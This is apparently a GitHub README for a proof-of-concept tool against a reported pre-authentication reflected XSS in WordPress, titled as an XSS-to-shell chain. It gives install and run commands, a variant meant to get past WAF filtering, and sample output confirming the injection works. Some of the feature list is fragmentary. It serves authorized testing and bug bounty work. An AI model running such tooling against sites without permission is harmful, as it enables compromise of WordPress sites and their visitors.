eh-amish/cve-2026-64638-xss-to-shell-pocValidates pre-authentication reflected XSS in WordPress, fingerprints vulnerable versions, checks payload reflection and JSONP, and generates HTML/curl PoC artifacts.
A proof-of-concept (PoC) tool for validating CVE-2026-64638, a pre-authentication reflected Cross-Site Scripting (XSS) vulnerability affecting WordPress installations (versions 6.4 – 7.0.2).
This tool automates the process of fingerprinting, validating, and generating a PoC for CVE-2026-64638. It safely confirms whether a target WordPress installation is vulnerable to the pre-authentication reflected XSS without deploying malicious payloads. If the target is confirmed vulnerable, it can generate an HTML PoC for authorized security testing and inclusion in bug bounty reports.
standard, envelope, waf) to test different filtering scenarios.readme.html, or enqueued script parameters.wp-login.php is reachable and functional.wp-login.php and checks if the required DOM elements (e.g., ajaxurl, color-picker) survive sanitization in the response.requests>=2.31.0, urllib3Clone the repository and install the required dependencies:
git clone https://github.com/eh-amish/xss2shell-poc.git
cd xss2shell-poc
pip install -r requirements.txt
This tool does not require any environment variables or complex configuration files. All parameters are passed directly via command-line arguments.
Run the tool with Python 3 against an authorized target.
python3 xss2shell_poc.py -t https://target.com --check-only
python3 xss2shell_poc.py -t https://target.com
If the standard payload is blocked by a WAF or the REST endpoint returns HTTP 401, try alternative variants:
python3 xss2shell_poc.py -t https://target.com --variant waf
python3 xss2shell_poc.py -t https://target.com --variant envelope
python3 xss2shell_poc.py -t https://target.com -o custom_poc.html
.
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── requirements.txt
└── xss2shell_poc.py
Target : https://target.com
Variant : standard
Mode : Full PoC
[>] Phase 1 — WordPress Version Fingerprint
[+] WordPress 7.0.2 — VULNERABLE (6.4 – 7.0.2)
[>] Phase 2 — Confirm Login Page
[+] wp-login.php reachable (HTTP 200)
[>] Phase 3 — Testing XSS Payload (variant: standard)
[+] XSS PAYLOAD SURVIVED SANITIZATION!
[+] Injected DOM elements found in response: ['id="ajaxurl"', 'id="color-picker"']
[>] Phase 4 — REST API JSONP Callback Check
[+] REST JSONP callback works: https://target.com/?rest_route=/&_method=GET&_jsonp=testcb
[+] jQuery will evaluate response as script → XSS fires automatically
This repository contains security-related testing tools. Please refer to SECURITY.md for our responsible disclosure policy and authorized use requirements.
We welcome professional contributions! Please see CONTRIBUTING.md for details on our workflow, code quality standards, and submission guidelines.
This project is licensed under the MIT License.
Intended for authorized use only. This project is provided strictly for authorized penetration testing, security research, and bug bounty programs where explicit, written permission has been granted by the system owner. Do not use this tool against systems you do not own or have permission to test. The authors and contributors are not responsible for any misuse, damage, or legal consequences resulting from the use of this software.